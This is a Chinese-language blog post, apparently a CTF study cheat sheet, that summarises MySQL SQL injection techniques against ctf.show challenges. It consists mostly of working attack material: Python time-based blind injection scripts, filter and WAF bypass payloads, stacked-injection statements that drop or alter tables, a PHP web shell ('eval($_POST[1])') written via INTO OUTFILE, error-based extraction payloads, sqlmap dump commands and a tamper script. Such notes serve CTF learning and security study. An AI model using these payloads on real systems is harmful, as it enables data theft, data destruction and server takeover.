sql注入总结

常用查询语句

查表名

select group_concat(table_name) from information_schema.tables where table_schema=database()

# 过滤information的情况下
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()

group_concat

file

将所有结果放在一起

查列名

select group_concat(column_name) from information_schema.columns where table_name='TableName'

查数据

select * from TableName

mysql中常用函数

to_base64

将结果进行base64编码 to_base64(‘a’)

hex

将结果转成16进制 hex(‘a’)

REPLACE

替换函数 replace(obj,search,rep) 将obj中的search替换成rep

ascii

输出字符串/字符/数字 的ascii码

substr file

if file

sleep

字面意思

regexp

正则匹配 可以用在盲注中 eg:ctfshow_userwhere(substr(pass,{i},1)regexp(‘{s}’))

like

和regexp有相同的效果 在匹配字符串时

having

常跟在group by后边

如果想查询平均分高于80分的学生记录可以这样写:
SELECT id, COUNT(course) as numcourse, AVG(score) as avgscore
FROM student
GROUP BY id
HAVING AVG(score)>=80;
在这里,如果用WHERE代替HAVING就会出错。

file

盲注

时间盲注

sleep盲注

利用if sleep

import requests
from time import time
url="http://0c216321-dea8-4208-882e-ac20fc4dc4b5.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
while True:
    i+=1
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        #查表ctfshow_flagx,ctfshow_info
        #payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #查字段id,flaga,info
        #payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        payload="select flaga from ctfshow_flagx"
        data={
            'ip':f'if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)',
            'debug':0
        }
        try:
            r=requests.post(url,data,timeout=1)
            tail=mid
        except:
            head=mid+1
    if head!=32:
        flag+=chr(head)
        print(flag)
    else:
        break

设置requests的timeout值 如果if返回的是sleep(1) 那么在requests的时候会因为timeout出错 进入到except中 由此判断if中表达式是否正确

benchmark盲注

file

笛卡尔积盲注

import requests
import time
url="http://8b738514-d058-4236-be51-b6e044a1f760.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
tim="SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I"
while True:
    i+=1
    head=32
    tail=127
    while head<tail:

        mid=(head+tail)>>1
        if mid==121:
            time.sleep(2)
        #查表
        payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #查字段
        #payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        #payload="select flaga from ctfshow_flagx"

        data={
            'ip':f"if(ascii(substr(({payload}),{i},1))>{mid},({tim}),1)",
            'debug':0
        }
        try:
            print(data)
            r=requests.post(url,data,timeout=2)
            tail=mid
        except:
            head=mid+1
    if head!=32:
        flag+=chr(head)
        print(flag)
        time.sleep(5)
    else:
        break

将原来的sleep替换成

SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I

正则DOS RLIKE注入

import requests
import time
url="http://8b738514-d058-4236-be51-b6e044a1f760.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
#tim="SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I"
tim="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
while True:
    i+=1
    head=32
    tail=127
    while head<tail:

        mid=(head+tail)>>1
        # if mid==121:
        #     time.sleep(2)
        #查表
        payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #查字段
        #payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        #payload="select flaga from ctfshow_flagx"

        data={
            'ip':f"if(ascii(substr(({payload}),{i},1))>{mid},({tim}),1)",
            'debug':0
        }
        try:
            print(data)
            r=requests.post(url,data,timeout=0.3)
            tail=mid
        except:
            head=mid+1
    if head!=32:
        flag+=chr(head)
        print(flag)
        # time.sleep(5)
    else:
        break

关键是

tim="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"

绕过过滤

空格过滤

/*/ /!/ %09 %0a %0b %0c %0d %a0 %00 %23 Tab代替空格 使用单引号代替 eg:(id=1’or’1’=’1’%23) 使用括号代替 eg:(-1’or(id=26)and’a’=’a) 使用浮点数 eg:select from users where id=8E0union select 1,2,3 在表名和数据库名那里可以用反引号 不需要空格

引号绕过

如果是在where类似的后边输入库名字 表名字的 可以使用16进制绕过 eg:(select column_name from information_schema.tables where table_name=0x7573657273)

逗号绕过

在盲注时用到substr会用到逗号

用 from for 绕过 eg:(select substr(database() from 1 for 1);) (select mid(database() from 1 for 1);)

使用join:

union select 1,2 #等价于 union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 #等价于 select user() like ‘r%’

对于limit可以使用offset来绕过:

select from news limit 0,1 等价于下面这条SQL语句 select from news limit 1 offset 0

比较符<>绕过

使用greatest()、least():(前者返回最大值,后者返回最小值)

file

eg:greatest(ascii(substr((select flag from ctf),1,1)),76)=76

使用between and:

between 1 and 1; 等价于 =1

or and xor not绕过:

and=&& or= xor= not=!

or也可以用^ 替代

绕过注释符号(#,–(后面跟一个空格))过滤:

file

=绕过

使用like 、rlike 、regexp 或者 使用< 或者 >

绕过union,select,where等

使用注释符绕过

常用注释符:

//,– , //, #, –+, – -, ;,%00,–a 用法: U// NION // SE// LECT /**/user,pwd from user

利用/!union/可以绕过对union的过滤

使用大小写绕过

内联注释绕过

id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#

双关键字绕过(若删除掉第一个匹配的union就能绕过)

通用绕过(编码)

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

substr过滤

使用like 或者regexp绕过 left mid right

locate()函数 file

等价函数绕过

hex()、bin(),ord() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

数字绕过

数字可以通过true+true绕过

1=true 2=true+true 3=true+true+true

file

特殊字符

one

登录时

使用用户名:admin 密码为:ffifdyop

ffifdyop的MD5(st,true)的值为 ’or’6�]��!r,��b file

two

登录账号密码都为0 file

过滤了单引号

过滤了单引号 使用闭合符号 file

堆叠注入

定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked  injection。

堆叠注入原理

SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

payload

1;show tables; 将pass列更改为autumn 将id列更改为pass列 1;alter table ctfshow_user change pass autumn varchar(255); alter table ctfshow_user change id passvarchar(255)

handler读取

ctfshow’;show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

预处理读取

‘;prepare a from concat(‘sele’,’ct * from ctfshow_flagasa‘);execute a;#

预处理中可以将from后的语句转为16进制

';prepare a from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute a;#

sqlmap使用

爆库 python sqlmap.py -u url –dbs 爆表 python sqlmap.py -u url -D database_name –tables 爆列名 python sqlmap.py -u url -D database_name -T table_name –columns 爆字段 python sqlmap.py -u url -D database_name -T table_name -C column_name –dump

使用post请求

python sqlmap.py -u url --data="id=1" --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump

尽量用这个
python sqlmap.py -u url --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump

添加cookie

python sqlmap.py -u url --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=0r1o7m11nbljtm95t6holosfsi; ctfshow=fb18d052f4477293bd3580f0f20ede7d" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump

发送请求前的操作

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置每测试多少条注入语句后才去访问safe-url

python sqlmap.py -u url --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump --safe-url=before_url --safe-freq=1

tamper编写

已经存在的

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释

自己编写

#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    retVal=""
    for i in range(len(payload)):
        if payload[i]==" ":
            retVal+="/**/"
        else:
            retVal+=payload[i]
    return retVal

tamper函数中是对payload的处理操作 上边是将空格替换成/**/ 返回值为处理后的payload

无列名注入

参考

select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a

写文件

file

如果sql是这样的

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

payload

filename=1.php' LINES STARTING BY '<?php eval($_POST[1]);?>'#
OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHARVARCHARTEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

报错注入

UPDATEXML() 报错注入

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_valueString格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

payload

id=' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)-- -

Extractvalue报错注入

file

payload

?id=' or extractvalue(1,concat(0x7e,database(),0x7e))#23

双查询报错

原理

payload

' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -

?id=' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -

rand相同的函数

ceil 是向上取整。 round

ROUND(X) – 表示将值 X 四舍五入为整数,无小数位 ROUND(X,D) – 表示将值 X 四舍五入为小数点后 D 位的数值,D为小数点后小数位数。若要保留 X 值小数点左边的 D 位,可将 D 设为负值。

12种报错

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

sql注入总结
http://example.com/2021/04/12/OldBlog/sql注入总结/
作者
Autumn
发布于
2021年4月12日
许可协议